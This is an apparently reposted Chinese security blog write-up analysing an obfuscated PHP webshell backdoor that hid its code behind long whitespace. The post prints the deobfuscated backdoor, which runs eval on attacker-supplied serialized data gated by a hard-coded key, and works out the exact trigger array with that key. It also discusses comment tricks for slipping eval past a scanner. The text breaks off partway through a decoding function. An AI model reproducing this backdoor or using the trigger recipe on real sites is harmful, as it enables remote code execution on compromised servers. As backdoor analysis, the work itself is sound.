项目实战 | 记一次对某猥琐PHP后门的爆菊
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
文章来源:安译Sec
最近遇到个文件,打开一看只有几行注释?看了下字节数却很大,横向进度条很长啊,通过web访问是空白,看上去应该是藏了后门了。
ps:这种方式遇到粗心/没有经验的管理员可能混过去,但若使用win自带的记事本(需开启自动换行)则一览无余。
实际上换行整理一下:
用Notepad++自带的正则替换简单做了下格式处理。
另外在下面的代码中发现了 eval/*r49557ec*/(
还插了注释,这个小方法很有意思,测试了下函数与"("中间插注释确实不影响执行。
但实际我测试用类似的注释方式填充敏感函数,过不了D盾。
一.还原庐山真面目
在进行替换/整理/和谐部分变量名之后,得到如下完整后门代码(整理后代码):
$v){ $vv = $v; $kk = $k; } if (!$vv){ foreach ($_POST as $k=>$v){ $vv = $v; $kk = $k; } } $vv = @unserialize(x184f5cc(base64_decode($vv), $kk)); if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){ if ($vv['a'] == 'i'){ $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',); echo @serialize($l71c40); } elseif ($vv['a'] == 'e'){ eval/*r49557ec*/($vv['d']); } } exit(); } ?>
1.前面的代码部分:需要用到的函数装入变量数组/并拆分拼接2.定义了两个功能函数,主要用来验证/处理3.经过一系列限定条件的判断等,最终触发eval/*r49557ec*/(4.整个后门的函数/字符串传递几乎都是使用数组+拼接的方式进行的 这是大致的逻辑,实际爆菊成功之前有几件事要做:
1.调试出各种已定义变量的值
2.替换字变量/函数名,增加可读性
3.通过倒序的方式,逐步尝试调用后门,明确调用逻辑。
首先前面几行:
$GLOBALS['w8fd00d8'] = Array(); //定义全局数组,用于保存后面的各种函数名/字符串,以及直接作为函数执行 ,如$GLOBALS['xx']()global $w8fd00d8;$w8fd00d8 = $GLOBALS; //这里有一个发现,如果变量是被$GLOBALS赋值,那么此变量也会随着$GLOBALS的值实时更新
如:
$test = $GLOBALS;访问:?handsome=t00ls$test值也有handsome=t00ls
这个特性我查了半天资料,没有找到原因。
下面:
${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51";
查了下似乎是16进制或Unicode编码,双引号情况下可以直接输出其值。
由于是16进制,在单引号包裹的情况下也可以使用chr(hexdec(字符串))进行解码。
当然,我直接打印了所有已定义变量,得到如下:
脚本所有已定义变量: [a904] => /%2Tu:^61H![0f _VZM#>7q)&,h~\ din chr [z2d33f00] => ord [v618c417c] => define [hb67d10] => strlen [r018ad5] => defined [x8a4] => ini_set [n2eb] => serialize [be64] => phpversion [f8d94b] => unserialize [kdd72d] => base64_decode [k23b] => set_time_limit [s6f48] => x184f5cc [jf1ef40] => e664fd [c68905ea] => Array
发现
敏感函数unserialize //可能需要反序列化操作
其中下标[a904]的值由于存在特殊字符,没有显示完全,另外如需利用到[a904]的值也要考虑这个问题,不能直接输出使用。
二.触发条件分析
当时按顺序读了下功能,事后复盘发现,可能比较高效的做法是倒序着读,顺着最下面的执行逻辑往上去构造条件。
所以既然重点在
eval/*r49557ec*/($vv['d']);那设法$vv['d']可控就好$vv = @unserialize(x184f5cc(base64_decode($vv), $kk)); 可以先不考虑x184f5cc(base64_decode($vv), $kk)是怎么来的, 我们先直接修改$vv的值,看怎样才能满足执行条件。 if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){ if ($vv['a'] == 'i'){ $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',); echo @serialize($l71c40); } elseif ($vv['a'] == 'e'){ eval/*r49557ec*/($vv['d']); } } exit();后门触发条件:1.$vv需要是数组2.成员必须存在'ak'且'ak'需等于$c77700426的值 $c77700426的值在上面已有定义: 为'aec7e489-2fbc-4b15-871f-1d686eeb80dc';3.成员需存在'a',若值为'i'则输出版本,为'e'则触发后门4.后门执行内容为成员'd'的值所以$vv需要等于↓↓ array('ak'=>'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a'=>'e','d'=>'执行代码' //如phpinfo(););.直接传入试试有没有问题 :可以执行,回到上面: $vv = @unserialize(x184f5cc(base64_decode($vv), $kk));那x184f5cc(base64_decode($vv), $kk)的返回值就需要是序列化后的上面我们构造的数组也就是:x184f5cc(base64_decode($vv), $kk) 返回值需要等于 a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}看下x184f5cc()函数做了什么操作? function x184f5cc($vv, $kk){ global $w8fd00d8; global $c77700426; return e664fd(e664fd($vv, $c77700426), $kk); }1.其中$w8fd00d8相当于$GLOBALS $c77700426是固定值 //'aec7e489-2fbc-4b15-871f-1d686eeb80dc' 2.经过两次核心混淆函数e664fd()的处理 这时候重新理一下: 我们必须使e664fd(e664fd($vv, $c77700426), $kk);的 返回结果为 ↓↓a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}再来看一下e664fd()函数 function e664fd($vv, $kk){ global $w8fd00d8; $n513761 = ""; for ($i=0;$i
- 上一篇:某系统绕过waf拿下webshell
- 下一篇:一份礼物.apk的逆向分析